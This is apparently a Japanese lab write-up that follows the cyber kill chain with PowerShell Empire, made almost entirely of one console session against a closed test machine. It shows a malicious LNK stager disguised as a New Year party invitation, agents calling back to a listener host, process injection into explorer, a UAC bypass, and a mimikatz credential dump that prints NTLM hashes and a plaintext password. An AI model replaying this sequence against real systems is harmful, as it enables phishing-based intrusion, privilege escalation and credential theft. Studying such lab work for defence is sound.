サイバーキルチェーンに則った手法の学習 -Powershell Empire-

閉鎖環境でやってください。また、閉鎖環境で検証してみました。
次回はActive Directoryが利用されている環境で検証してみたい。が、検証環境を構築するのが大変:-)

```
(Empire) > usestager windows/launcher_lnk
(Empire: stager/windows/launcher_lnk) > info

Name: LNKLauncher

Description:
  Create a .LNK file that launches the Empire
  stager.

Options:

  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True                          Listener to generate stager for.
  OutFile          True        clickme.lnk       File to output LNK to.
  LNKComment       False                         LNK Comment.
  Base64           True        True              Switch. Base64 encode the output.
  Proxy            False       default           Proxy to use for request (default, none,
                                                 or other).
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain\]username:password) to use for
                                                 request (default, none, or other).
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).
  Icon             False       C:\program files\windows nt\accessories\wordpad.exePath to LNK icon.
  PowershellPath   True        C:\windows\system32\WindowsPowershell\v1.0\powershell.exePath to powershell.exe
  StagerRetries    False       0                 Times for the stager to retry
                                                 connecting.


(Empire: stager/windows/launcher_lnk) > set OutFile 新年会のご紹介.lnk
(Empire: stager/windows/launcher_lnk) > set Listener http
(Empire: stager/windows/launcher_lnk) >
agents     back       creds      execute    exit       generate   help       info       interact   list       listeners  main       options    resource   set        unset
(Empire: stager/windows/launcher_lnk) > execute

[*] Stager output written out to: 新年会のご紹介.lnk

(Empire: stager/windows/launcher_lnk) > [!] favicon.ico requested by 192.168.164.145 with no routing packet.
[*] Sending POWERSHELL stager (stage 1) to 192.168.164.145
[*] New agent W5EXG8VL checked in
[+] Initial agent W5EXG8VL from 192.168.164.145 now active (Slack)
[*] Sending agent (stage 2) to W5EXG8VL at 192.168.164.145

(Empire: stager/windows/launcher_lnk) > back
(Empire) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 W5EXG8VL ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim powershell         624    5/0.0    2019-01-05 14:09:16

(Empire: agents) > rename W5EXG8VL win7user
(Empire: agents) > list

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 win7user ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim powershell         624    5/0.0    2019-01-05 14:09:52

(Empire: agents) > interact win7user
(Empire: win7user) > hostname
[*] Tasked W5EXG8VL to run TASK_SHELL
[*] Agent W5EXG8VL tasked with task ID 1
(Empire: win7user) > [*] Agent W5EXG8VL returned results.
HostName                   Aliases                    AddressList
--------                   -------                    -----------
strike-testbed7            {}                         {192.168.164.145}
[*] Valid results returned by 192.168.164.145

(Empire: win7user) > sysinfo
[*] Tasked W5EXG8VL to run TASK_SYSINFO
[*] Agent W5EXG8VL tasked with task ID 2
(Empire: win7user) > sysinfo: 0|http://192.168.164.147:80|strike-testbed7|victim|STRIKE-TESTBED7|192.168.164.145|Microsoft Windows 7 Ultimate |False|powershell|624|powershell|2
[*] Agent W5EXG8VL returned results.
Listener:         http://192.168.164.147:80
Internal IP:    192.168.164.145
Username:         strike-testbed7\victim
Hostname:       STRIKE-TESTBED7
OS:               Microsoft Windows 7 Ultimate
High Integrity:   0
Process Name:     powershell
Process ID:       624
Language:         powershell
Language Version: 2

[*] Valid results returned by 192.168.164.145

(Empire: win7user) > hostname
[*] Tasked W5EXG8VL to run TASK_SHELL
[*] Agent W5EXG8VL tasked with task ID 1
(Empire: win7user) > [*] Agent W5EXG8VL returned results.
HostName                   Aliases                    AddressList
--------                   -------                    -----------
strike-testbed7            {}                         {192.168.164.145}
[*] Valid results returned by 192.168.164.145

(Empire: win7user) > sysinfo
[*] Tasked W5EXG8VL to run TASK_SYSINFO
[*] Agent W5EXG8VL tasked with task ID 2
(Empire: win7user) > sysinfo: 0|http://192.168.164.147:80|strike-testbed7|victim|STRIKE-TESTBED7|192.168.164.145|Microsoft Windows 7 Ultimate |False|powershell|624|powershell|2
[*] Agent W5EXG8VL returned results.
Listener:         http://192.168.164.147:80
Internal IP:    192.168.164.145
Username:         strike-testbed7\victim
Hostname:       STRIKE-TESTBED7
OS:               Microsoft Windows 7 Ultimate
High Integrity:   0
Process Name:     powershell
Process ID:       624
Language:         powershell
Language Version: 2

[*] Valid results returned by 192.168.164.145

(Empire: win7user) > shell net share
[*] Tasked W5EXG8VL to run TASK_SHELL
[*] Agent W5EXG8VL tasked with task ID 3
(Empire: win7user) > [*] Agent W5EXG8VL returned results.
共有名       リソース                            注釈

-------------------------------------------------------------------------------
C$           C:\                             Default share
IPC$                                         Remote IPC
ADMIN$       C:\Windows                      Remote Admin
コマンドは正常に終了しました。


..Command execution completed.
[*] Valid results returned by 192.168.164.145

(Empire: win7user) > ps
[*] Tasked W5EXG8VL to run TASK_SHELL
[*] Agent W5EXG8VL tasked with task ID 9
(Empire: win7user) > [*] Agent W5EXG8VL returned results.
ProcessName                 PID Arch            UserName        MemUsage
-----------                 --- ----            --------        --------
Idle                          0 x64             N/A             0.02 MB
System                        4 x64             N/A             1.11 MB
smss                        244 x64             N/A             0.95 MB
svchost                     268 x64             N/A             10.89 MB
svchost                     292 x64             N/A             12.49 MB
csrss                       336 x64             N/A             5.08 MB
wininit                     388 x64             N/A             5.04 MB
csrss                       396 x64             N/A             30.71 MB
conhost                     408 x64             strike-testbed7 3.06 MB
                                                \victim
winlogon                    432 x64             N/A             7.29 MB
services                    492 x64             N/A             8.23 MB
lsass                       500 x64             N/A             9.45 MB
lsm                         508 x64             N/A             3.79 MB
svchost                     608 x64             N/A             8.45 MB
powershell                  624 x64             strike-testbed7 60.76 MB
                                                \victim
vmacthlp                    664 x64             N/A             3.75 MB
svchost                     712 x64             N/A             7.31 MB
svchost                     796 x64             N/A             15.93 MB
svchost                     840 x64             N/A             11.66 MB
svchost                     872 x64             N/A             30.00 MB
taskhost                   1072 x64             strike-testbed7 8.36 MB
                                                \victim
spoolsv                    1148 x64             N/A             15.32 MB
svchost                    1176 x64             N/A             13.84 MB
VGAuthService              1328 x64             N/A             10.00 MB
vmtoolsd                   1376 x64             N/A             18.93 MB
conhost                    1452 x64             strike-testbed7 11.43 MB
                                                \victim
svchost                    1512 x64             N/A             8.68 MB
svchost                    1564 x64             N/A             4.30 MB
TPAutoConnect              1660 x64             strike-testbed7 8.86 MB
                                                \victim
MpCmdRun                   1732 x64             N/A             6.05 MB
WmiPrvSE                   1804 x64             N/A             12.60 MB
TPAutoConnSvc              1812 x64             N/A             6.63 MB
WmiPrvSE                   1840 x64             N/A             13.47 MB
conhost                    1880 x64             N/A             3.87 MB
dllhost                    1896 x64             N/A             10.98 MB
msdtc                      1992 x64             N/A             7.55 MB
dwm                        2080 x64             strike-testbed7 177.81 MB
                                                \victim
explorer                   2104 x64             strike-testbed7 77.82 MB
                                                \victim
vmtoolsd                   2288 x64             strike-testbed7 21.87 MB
                                                \victim
taskmgr                    2312 x64             strike-testbed7 37.93 MB
                                                \victim
powershell                 2376 x64             strike-testbed7 55.04 MB
                                                \victim
sppsvc                     2404 x64             N/A             6.04 MB
SearchIndexer              2556 x64             N/A             16.66 MB
iexplore                   2736 x86             strike-testbed7 34.64 MB
                                                \victim
iexplore                   2812 x86             strike-testbed7 29.50 MB
                                                \victim
[*] Valid results returned by 192.168.164.145

(Empire: win7user) > psinject http 2104
[*] Tasked W5EXG8VL to run TASK_CMD_JOB
[*] Agent W5EXG8VL tasked with task ID 10
[*] Tasked agent win7user to run module powershell/management/psinject
(Empire: win7user) > [*] Agent W5EXG8VL returned results.
Job started: EBUWDL
[*] Valid results returned by 192.168.164.145

(Empire: win7user) > [*] Sending POWERSHELL stager (stage 1) to 192.168.164.145
[*] New agent 2PW1AGFB checked in
[+] Initial agent 2PW1AGFB from 192.168.164.145 now active (Slack)
[*] Sending agent (stage 2) to 2PW1AGFB at 192.168.164.145

(Empire: win7user) > back
(Empire: agents) > list

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 win7user ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim powershell         624    5/0.0    2019-01-05 14:20:05
 2PW1AGFB ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim explorer           2104   5/0.0    2019-01-05 14:20:04

(Empire: agents) > rename 2PW1AGFB win7user2
(Empire: agents) > list

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 win7user ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim powershell         624    5/0.0    2019-01-05 14:20:35
 win7user ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim explorer           2104   5/0.0    2019-01-05 14:20:34

(Empire: agents) > kill win7user
[>] Kill agent 'win7user'? [y/N] y
[*] Tasked W5EXG8VL to run TASK_EXIT
[*] Agent W5EXG8VL tasked with task ID 11
(Empire: agents) > [!] Agent W5EXG8VL exiting
[*] Agent W5EXG8VL deleted
[*] Agent W5EXG8VL returned results.
[*] Valid results returned by 192.168.164.145

(Empire: agents) > list

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 win7user ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim explorer           2104   5/0.0    2019-01-05 14:20:59
(Empire: win7user2) > bypassuac http
http
(Empire: win7user2) > bypassuac http
[*] Tasked 2PW1AGFB to run TASK_CMD_JOB
[*] Agent 2PW1AGFB tasked with task ID 2
[*] Tasked agent win7user2 to run module powershell/privesc/bypassuac_eventvwr
(Empire: win7user2) > [*] Agent 2PW1AGFB returned results.
Job started: SFP3BG
[*] Valid results returned by 192.168.164.145

(Empire: win7user2) > [*] Sending POWERSHELL stager (stage 1) to 192.168.164.145
[*] New agent 6BTCA8L9 checked in
[+] Initial agent 6BTCA8L9 from 192.168.164.145 now active (Slack)
[*] Sending agent (stage 2) to 6BTCA8L9 at 192.168.164.145

(Empire: win7user2) >
(Empire: win7user2) > back
(Empire: agents) > list

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 win7user ps 192.168.164.145 STRIKE-TESTBED7   strike-testbed7\victim explorer           2104   5/0.0    2019-01-05 14:27:28
 6BTCA8L9 ps 192.168.164.145 STRIKE-TESTBED7   *strike-testbed7\victi powershell         1432   5/0.0    2019-01-05 14:27:30

 (Empire: agents) > rename 6BTCA8L9 win7admin
(Empire: agents) >
(Empire: agents) > interact win7admin
(Empire: win7admin) > mimikatz
[*] Tasked 6BTCA8L9 to run TASK_CMD_JOB
[*] Agent 6BTCA8L9 tasked with task ID 1
[*] Tasked agent win7admin to run module powershell/credentials/mimikatz/logonpasswords
(Empire: win7admin) > [*] Agent 6BTCA8L9 returned results.
Job started: 2K97T6
[*] Valid results returned by 192.168.164.145
[*] Agent 6BTCA8L9 returned results.
Hostname: strike-testbed7 / S-1-5-21-672992877-1781473151-3227961209

  .#####.   mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 322966 (00000000:0004ed96)
Session           : Interactive from 1
User Name         : victim
Domain            : strike-testbed7
Logon Server      : STRIKE-TESTBED7
Logon Time        : 2019/01/05 14:00:32
SID               : S-1-5-21-672992877-1781473151-3227961209-1000
	msv :
	 [00000003] Primary
	 * Username : victim
	 * Domain   : strike-testbed7
	 * LM       : dcee39c725135476c187b8085fe1d9df
	 * NTLM     : 3b24c391862f4a8531a245a0217708c4
	 * SHA1     : ccb9c35112f0868255c350b6d248c4bf98e9c729
	tspkg :
	 * Username : victim
	 * Domain   : strike-testbed7
	 * Password : !QAZ2wsx
	wdigest :
	 * Username : victim
	 * Domain   : strike-testbed7
	 * Password : !QAZ2wsx
	kerberos :
	 * Username : victim
	 * Domain   : strike-testbed7
	 * Password : !QAZ2wsx
	ssp :
	credman :

Authentication Id : 0 ; 322920 (00000000:0004ed68)
Session           : Interactive from 1
User Name         : victim
Domain            : strike-testbed7
Logon Server      : STRIKE-TESTBED7
Logon Time        : 2019/01/05 14:00:32
SID               : S-1-5-21-672992877-1781473151-3227961209-1000
	msv :
	 [00000003] Primary
	 * Username : victim
	 * Domain   : strike-testbed7
	 * LM       : dcee39c725135476c187b8085fe1d9df
	 * NTLM     : 3b24c391862f4a8531a245a0217708c4
	 * SHA1     : ccb9c35112f0868255c350b6d248c4bf98e9c729
	tspkg :
	 * Username : victim
	 * Domain   : strike-testbed7
	 * Password : !QAZ2wsx
	wdigest :
	 * Username : victim
	 * Domain   : strike-testbed7
	 * Password : !QAZ2wsx
	kerberos :
	 * Username : victim
	 * Domain   : strike-testbed7
	 * Password : !QAZ2wsx
	ssp :
	credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2019/01/05 14:00:10
SID               : S-1-5-19
	msv :
	tspkg :
	wdigest :
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :
	credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : STRIKE-TESTBED7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2019/01/05 14:00:10
SID               : S-1-5-20
	msv :
	tspkg :
	wdigest :
	 * Username : STRIKE-TESTBED7$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :
	 * Username : strike-testbed7$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :
	credman :

Authentication Id : 0 ; 47316 (00000000:0000b8d4)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2019/01/05 14:00:09
SID               :
	msv :
	tspkg :
	wdigest :
	kerberos :
	ssp :
	credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : STRIKE-TESTBED7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2019/01/05 14:00:09
SID               : S-1-5-18
	msv :
	tspkg :
	wdigest :
	 * Username : STRIKE-TESTBED7$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :
	 * Username : strike-testbed7$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :
	credman :

mimikatz(powershell) # exit
Bye!


[*] Valid results returned by 192.168.164.145

(Empire: win7admin) >
(Empire: win7admin) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       strike-testbed7          victim        strike-testbed7  3b24c391862f4a8531a245a0217708c4
  2       plaintext  strike-testbed7          victim        strike-testbed7  !QAZ2wsx
(Empire: win7admin) > shell net view
[*] Tasked 6BTCA8L9 to run TASK_SHELL
[*] Agent 6BTCA8L9 tasked with task ID 5
(Empire: win7admin) > [*] Agent 6BTCA8L9 returned results.
サーバー名             注釈

-------------------------------------------------------------------------------
\\DESKTOP-1SS146L
コマンドは正常に終了しました。


..Command execution completed.
```